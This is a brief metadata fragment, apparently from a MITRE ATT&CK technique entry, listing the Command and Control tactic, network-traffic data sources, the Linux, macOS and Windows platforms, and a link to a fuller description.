Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre